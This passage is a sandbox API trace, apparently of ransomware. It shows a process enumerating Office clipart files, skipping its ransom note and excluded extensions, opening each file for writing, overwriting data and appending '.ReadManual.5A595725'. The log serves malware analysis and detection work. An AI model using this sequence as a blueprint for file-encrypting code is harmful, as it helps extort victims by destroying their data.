[0258.884] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0258.884] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0258.884] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0258.884] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0258.884] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0258.884] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0258.884] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0258.884] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0258.884] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0258.884] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0258.884] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" [0258.884] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF.ReadManual.5A595725" [0258.884] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF.ReadManual.5A595725") returned 87 [0258.884] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37955265650) returned 1 [0258.884] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf")) returned 0x20 [0258.885] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0258.885] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=26332) returned 1 [0258.885] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x66dc, lpName=0x0) returned 0x184 [0258.885] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0258.886] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.886] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0258.888] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0258.888] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x66dc) returned 0x2f0000 [0258.889] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.889] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37955767722) returned 1 [0258.889] CloseHandle (hObject=0x184) returned 1 [0258.889] SetSecurityInfo () returned 0x57 [0258.889] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0258.889] CloseHandle (hObject=0x194) returned 1 [0258.890] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x530f3800, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x530f3800, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0x6cd2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AN01174_.WMF", cAlternateFileName="")) returned 1 [0258.890] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AN01174_.WMF" | out: lpString1="AN01174_.WMF") returned="AN01174_.WMF" [0258.890] lstrcmpiW (lpString1="AN01174_.WMF", lpString2="RecoveryManual.html") returned -1 [0258.890] StrStrIW (lpFirst="AN01174_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.890] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0258.890] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0258.890] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0258.890] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0258.890] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0258.890] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0258.890] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0258.890] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0258.890] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0258.890] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0258.890] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0258.890] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0258.890] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0258.890] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0258.890] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" [0258.890] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF.ReadManual.5A595725" [0258.890] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF.ReadManual.5A595725") returned 87 [0258.891] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37955928798) returned 1 [0258.891] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf")) returned 0x20 [0258.891] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0258.891] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=27858) returned 1 [0258.891] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6cd2, lpName=0x0) returned 0x184 [0258.891] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.093] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.093] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.206] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.206] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6cd2) returned 0x2f0000 [0260.206] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.207] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38087539540) returned 1 [0260.207] CloseHandle (hObject=0x184) returned 1 [0260.207] SetSecurityInfo () returned 0x57 [0260.207] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.207] CloseHandle (hObject=0x194) returned 1 [0260.208] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cbf4f00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8cbf4f00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xea2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AN01184_.WMF", cAlternateFileName="")) returned 1 [0260.208] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AN01184_.WMF" | out: lpString1="AN01184_.WMF") returned="AN01184_.WMF" [0260.208] lstrcmpiW (lpString1="AN01184_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.208] StrStrIW (lpFirst="AN01184_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.208] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.208] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.208] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.208] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.208] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.208] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.208] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.208] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.208] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.208] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.208] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.208] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.208] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.209] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.209] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" [0260.209] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF.ReadManual.5A595725" [0260.209] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF.ReadManual.5A595725") returned 87 [0260.209] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38087743414) returned 1 [0260.209] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf")) returned 0x20 [0260.209] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.209] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3746) returned 1 [0260.209] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xea2, lpName=0x0) returned 0x184 [0260.209] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.210] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.210] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.315] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.315] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xea2) returned 0x2f0000 [0260.315] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.315] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38098386615) returned 1 [0260.315] CloseHandle (hObject=0x184) returned 1 [0260.315] SetSecurityInfo () returned 0x57 [0260.315] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.315] CloseHandle (hObject=0x194) returned 1 [0260.318] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8335e700, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8335e700, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x16cc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AN01216_.WMF", cAlternateFileName="")) returned 1 [0260.318] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AN01216_.WMF" | out: lpString1="AN01216_.WMF") returned="AN01216_.WMF" [0260.318] lstrcmpiW (lpString1="AN01216_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.318] StrStrIW (lpFirst="AN01216_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.318] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.318] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.318] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.318] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.318] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.318] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.318] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.318] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.318] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.318] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.318] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.318] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.318] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.318] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.319] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" [0260.319] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF.ReadManual.5A595725" [0260.319] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF.ReadManual.5A595725") returned 87 [0260.319] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38098738363) returned 1 [0260.319] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf")) returned 0x20 [0260.319] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.319] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5836) returned 1 [0260.319] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16cc, lpName=0x0) returned 0x184 [0260.319] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.320] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.320] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.322] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.323] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16cc) returned 0x2f0000 [0260.323] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.323] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38099174970) returned 1 [0260.323] CloseHandle (hObject=0x184) returned 1 [0260.323] SetSecurityInfo () returned 0x57 [0260.323] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.323] CloseHandle (hObject=0x194) returned 1 [0260.324] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fa26000, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7fa26000, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xbc4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AN01218_.WMF", cAlternateFileName="")) returned 1 [0260.324] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AN01218_.WMF" | out: lpString1="AN01218_.WMF") returned="AN01218_.WMF" [0260.324] lstrcmpiW (lpString1="AN01218_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.324] StrStrIW (lpFirst="AN01218_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.324] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.324] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.324] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.324] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.324] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.324] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.324] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.324] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.324] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.324] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.324] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.324] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.324] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.324] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.324] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" [0260.324] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF.ReadManual.5A595725" [0260.324] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF.ReadManual.5A595725") returned 87 [0260.324] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38099321740) returned 1 [0260.325] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf")) returned 0x20 [0260.325] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.325] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3012) returned 1 [0260.325] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbc4, lpName=0x0) returned 0x184 [0260.325] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.326] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.326] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.327] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.327] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbc4) returned 0x2f0000 [0260.327] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.327] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38099615580) returned 1 [0260.327] CloseHandle (hObject=0x184) returned 1 [0260.327] SetSecurityInfo () returned 0x57 [0260.328] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.328] CloseHandle (hObject=0x194) returned 1 [0260.328] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68bb3800, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x68bb3800, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0xac4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AN01251_.WMF", cAlternateFileName="")) returned 1 [0260.328] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AN01251_.WMF" | out: lpString1="AN01251_.WMF") returned="AN01251_.WMF" [0260.328] lstrcmpiW (lpString1="AN01251_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.328] StrStrIW (lpFirst="AN01251_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.328] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.328] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.328] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.328] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.328] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.328] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.328] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.329] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.329] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.329] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.329] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.329] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.329] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.329] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.329] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" [0260.329] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF.ReadManual.5A595725" [0260.329] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF.ReadManual.5A595725") returned 87 [0260.329] QueryPerformanceCounter (in: 